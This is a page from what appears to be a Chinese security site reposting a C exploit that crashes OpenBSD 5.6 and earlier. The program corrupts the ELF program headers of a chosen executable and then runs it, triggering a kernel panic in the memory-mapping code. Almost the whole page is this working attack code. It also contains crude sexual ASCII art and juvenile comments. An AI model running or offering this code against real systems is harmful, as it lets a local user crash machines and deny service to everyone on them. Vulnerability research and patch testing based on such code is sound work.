首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
OpenBSD 5.6 - Multiple Local Kernel Panics Exploit
来源:vfocus.net 作者:nitr0us 发布时间:2015-04-22  
/*
   
# Exploit Title: OpenBSD <= 5.6 - Multiple Local Kernel Panics
# Exploit Author: nitr0us
# Vendor Homepage: http://www.openbsd.org
# Version: 5.6
# Tested on: OpenBSD 5.6 i386 (snapshot - Nov 25th, 2014), OpenBSD 5.6 i386, OpenBSD 5.5 i386
   
 * - 0xb16b00b5.c
 *
 * - Alejandro Hernandez (@nitr0usmx)
 * - Mexico 2015
 *
 * #########################################################################
 * #         OpenBSD <= 5.6 kernel panic()'s in sys/uvm/uvm_map.c          #
 * #########################################################################
 *
 * Tested under:
 * - OpenBSD 5.6 i386 (snapshot - Nov 25th, 2014)
 * - OpenBSD 5.6 i386
 * - OpenBSD 5.5 i386
 *
 *
 */
   
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/param.h>
#include <sys/types.h>
   
#ifndef  __OpenBSD__
    #error "Not OpenBSD !!!1111";
#else
#include <sys/exec_elf.h>
#endif
   
#ifndef __i386__
    #error "Not i386 !!!1111";
#endif
   
char big_b00bz[] =
"       8M:::::::8888M:::::888:::::::88:::8888888::::::::Mm\n"
"      88MM:::::8888M:::::::88::::::::8:::::888888:::M:::::M\n"
"     8888M:::::888MM::::::::8:::::::::::M::::8888::::M::::M\n"
"    88888M:::::88:M::::::::::8:::::::::::M:::8888::::::M::M\n"
"   88 888MM:::888:M:::::::::::::::::::::::M:8888:::::::::M:\n"
"   8 88888M:::88::M:::::::::::::::::::::::MM:88::::::::::::M\n"
"     88888M:::88::M::::::::::*88*::::::::::M:88::::::::::::::M\n"
"    888888M:::88::M:::::::::88@@88:::::::::M::88::::::::::::::M\n"
"    888888MM::88::MM::::::::88@@88:::::::::M:::8::::::::::::::*8\n"
"    88888  M:::8::MM:::::::::*88*::::::::::M:::::::::::::::::88@@\n"
"    8888   MM::::::MM:::::::::::::::::::::MM:::::::::::::::::88@@\n"
"     888    M:::::::MM:::::::::::::::::::MM::M::::::::::::::::*8\n"
"     888    MM:::::::MMM::::::::::::::::MM:::MM:::::::::::::::M\n"
"      88     M::::::::MMMM:::::::::::MMMM:::::MM::::::::::::MM\n"
"       88    MM:::::::::MMMMMMMMMMMMMMM::::::::MMM::::::::MMM\n"
"        88    MM::::::::::::MMMMMMM::::::::::::::MMMMMMMMMM\n"
"         88   8MM::::::::::::::::::::::::::::::::::MMMMMM\n"
"          8   88MM::::::::::::::::::::::M:::M::::::::MM\n"
"              888MM::::::::::::::::::MM::::::MM::::::M";
   
int main(int argc, char **argv)
{
    Elf32_Ehdr *hdr;
    Elf32_Phdr *pht; 
    struct stat statinfo;
    char *elfptr;
    int fd;
   
    if(argc != 2) return printf("Usage: %s <elf_exec>\n", argv[0]);
    fd = open(argv[1], O_RDWR);
    fstat(fd, &statinfo);
    elfptr = (char *) mmap(NULL, statinfo.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
    hdr = (Elf32_Ehdr *) (elfptr);
    pht = (Elf32_Phdr *) (elfptr + hdr->e_phoff);
    printf("%s", big_b00bz);
    pht[9].p_type   = 0x7defaced; // <--- these overwrites ------------v
    pht[2].p_filesz = (arc4random() % 2) ? 0x41414141 : 0x43434343; // are necessary
    sleep(3 + (arc4random() % 3));
    if(arc4random() % 3 == 2) puts(" .. I like b1g 0nez !!"); // 33.33% chance
    else { if(arc4random() % 2){ puts(" .. want s0me ?!"); pht[5].p_vaddr = 0xb16b00b5; } // .6666 * .5 = 33.33% chance
    else { puts(" .. j00 like it ?!"); pht[5].p_vaddr = 0x0ace55e8; }} // .6666 * .5 = 33.33% chance
    msync(elfptr, 0, MS_ASYNC);
    munmap(elfptr, statinfo.st_size);
    close(fd);
    sleep(3 + (arc4random() % 3));
    system(argv[1]); // ( o )( o )   panic()
    puts("... s0rry, this piece of sh1t didn't w0rk in j00r obsd\n");
    return 0xDEFECA7E;
}
  

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Apple MAC OS X < 10.9/10 - Loc
·ProFTPd 1.3.5 - Remote Command
·WordPress SlideShow Gallery Au
·Wolf CMS 0.8.2 Arbitrary File
·Adobe Flash Player copyPixelsT
·MooPlayer 1.3.0 'm3u' SEH Buff
·WordPress Reflex Gallery Uploa
·ProFTPd CPFR / CPTO Proof Of C
·WordPress N-Media Website Cont
·ZYXEL P-660HN-T1H_IPv6 Remote
·WordPress Creative Contact For
·Ubuntu usb-creator 0.2.x - Loc
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved